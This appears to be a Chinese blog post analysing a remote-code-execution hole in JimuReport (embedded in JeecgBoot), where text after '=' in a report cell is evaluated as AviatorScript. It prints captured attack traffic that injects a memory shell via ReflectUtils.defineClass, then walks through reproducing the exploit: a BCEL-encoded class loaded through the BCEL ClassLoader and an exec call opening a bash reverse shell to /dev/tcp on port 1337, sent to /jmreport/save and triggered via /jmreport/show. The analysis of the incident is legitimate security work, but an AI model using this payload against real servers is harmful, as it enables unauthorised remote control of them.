前言
先不写
介绍
https://github.com/killme2008/aviatorscript
AviatorScript 是一门高性能、轻量级寄宿于 JVM (包括 Android 平台)之上的脚本语言。
积木报表
https://github.com/jeecgboot/JimuReport
一款免费的数据可视化报表,含报表、仪表盘和大屏设计,像搭建积木一样在线设计报表!功能涵盖,数据报表、打印设计、图表报表、大屏设计等!
https://github.com/jeecgboot/JeecgBoot
在jeecg-boot中有集成积木报表,且非常常见。
流量捕获
这里略,反正就是被漏洞打了,然后抓到流量了,不过流量只有一半。。。。
head头
POST /jmreport/save HTTP/2
Content-Type: application/json
post数据如下所示,看到ReflectUtils.defineClass就知道应该是注入内存马了。
{"designerObj":{"id":"949097799684018176","code":"20240511102253","name":"test","note":null,"status":null,"type":"printinfo","jsonStr":"{\"loopBlockList\":[],\"printConfig\":{\"layout\":\"portrait\",\"printCallBackUrl\":\"\",\"paper\":\"A4\",\"isBackend\":false,\"width\":210,\"definition\":1,\"marginX\":10,\"height\":297,\"marginY\":10},\"hidden\":{\"rows\":[],\"cols\":[]},\"dbexps\":[],\"dicts\":[],\"freeze\":\"A1\",\"dataRectWidth\":100,\"autofilter\":{},\"validations\":[],\"cols\":{\"len\":50},\"area\":false,\"pyGroupEngine\":false,\"excel_config_id\":\"949097799684018176\",\"hiddenCells\":[],\"zonedEditionList\":[],\"rows\":{\"0\":{\"cells\":{\"0\":{\"text\":\"123\"}}},\"len\":100},\"rpbar\":{\"show\":true,\"pageSize\":\"\",\"btnList\":[]},\"fixedPrintHeadRows\":[],\"fixedPrintTailRows\":[],\"displayConfig\":{},\"background\":false,\"name\":\"sheet1\",\"styles\":[],\"freezeLineColor\":\"rgb(185, 185, 185)\",\"merges\":[]}","apiUrl":null,"apiMethod":null,"apiCode":null,"thumb":null,"template":0,"createBy":"15296066620","createTime":"2024-05-11 10:22:54","updateBy":null,"updateTime":"2024-05-11 10:22:54","dataList":null,"dictInfo":null,"delFlag":0,"viewCount":0,"cssStr":null,"jsStr":null,"pyStr":null,"tenantId":null,"isRefresh":null,"shareViewUrl":null},"name":"sheet1","freeze":"A1","freezeLineColor":"rgb(185, 185, 185)","styles":[],"displayConfig":{},"printConfig":{"layout":"portrait","printCallBackUrl":"","paper":"A4","isBackend":false,"width":210,"definition":1,"marginX":10,"height":297,"marginY":10},"merges":[],"rows":{"0":{"cells":{"0":{"text":"123"},"1":{}}},"9":{"cells":{"6":{"text":"=(use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('org.apache.catalina.filters.$ProxyInterceptor$$Lambda$1',Base64Utils.decodeFromString('yv66vgAAAD
分析流程
不知道具体啥漏洞,一脸懵,但是大概知道是text参数里可以命令执行。
去网上搜漏洞,搜到一个人发现的bug🤣
https://www.cnblogs.com/voyager-fu/p/16091838.html
他在使用有单独的=
在text中时会出错,分析具体代码发现,程序会将=
后的字符当作AviatorScript来解析。这个也和捕获的流量很符合😋
继续去后的字符当作AviatorScript官网看历史漏洞,发现很早就有人发现存在表达式漏洞
https://github.com/killme2008/aviatorscript/issues/421
项目作者建议是增加鉴权和控制可以访问的 class 白名单(反正和作者没关系😤)
看到最下面还有人提到积木报表中的多个依赖安全漏洞(就不修)🤣
根据文章提示,使用BCELClassloader加载BCEL编码的形式完成RCE。
官网地址:
http://www.jimureport.com/
创建一张报表,然后打开
点击保存,就会有/jmreport/save的数据包了。
在一个text参数中输入payload
payload
=((c=(Class.forName('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$c2$40$U$3dCK$5bk$95$97$f8$7e$c4$95$c0$c2$s$c6$j$c6$NjbR$c5$88a_$ca$E$86$40k$da$c1$f0Y$baQ$e3$c2$P$f0$a3$8cw$w$B$a2M$e6$de9$e7$9es$e6$a6_$df$l$9f$ANq$60$p$8b$b2$8dul$a8$b2ib$cb$c46$83q$sB$n$cf$Z$b4J$b5$cd$a07$a2$$g$c8y$o$e4$b7$e3Q$87$c7$P$7egHL$d1$8b$C$7f$d8$f6c$a1$f0$94$d4e_$q$MY$afqsQ$t$c8$t$3c$608$aax$D$ff$c9w$87$7e$d8s$5b2$Wa$af$5e$5d$a0$ee$e2$u$e0IB$G$z$YuU$f4$3f9$83$7d9$J$f8$a3$UQ$98$98$d8$n$dc$8a$c6q$c0$af$84z$d7$a2$f7$8e$95$c9$81$B$d3$c4$ae$83$3d$ec$3bX$c1$w$85$d2$90$n$3f$cflv$G$3c$90$M$a5$94$S$91$7b$dd$9c$853$U$e6$c2$fbq$u$c5$88$f2$ed$k$973P$ae$y$$$3f$a5$eb8$84N$7fT$7d$Z0$b5$GU$8b$90K$9dQ$cf$d6$de$c0$5e$d2$f1$SU$p$r5$d8T$9d_$B$96$e9$G$9a$d2$da$a4R$e6$934$M$b0$de$91$a9$bdB$7b$fe$e37$W$fc$Wr$c8S$_$d0$d1$89$v$d2$v$a5$fa$b5$l$d5$l$f2$9c$f6$B$A$A',true,new com.sun.org.apache.bcel.internal.util.ClassLoader())))+(c.exec('bash -c $@|bash 0 echo bash -i >& /dev/tcp/ip/1337 0>&1')))
在访问一下生成的报表,这里使用接口是/jmreport/show
访问后看见文本内容变成下面这样了,这个UNIXProcess@6abe63e7就代表执行成功了。
然后看看vps上,成功获取到shell
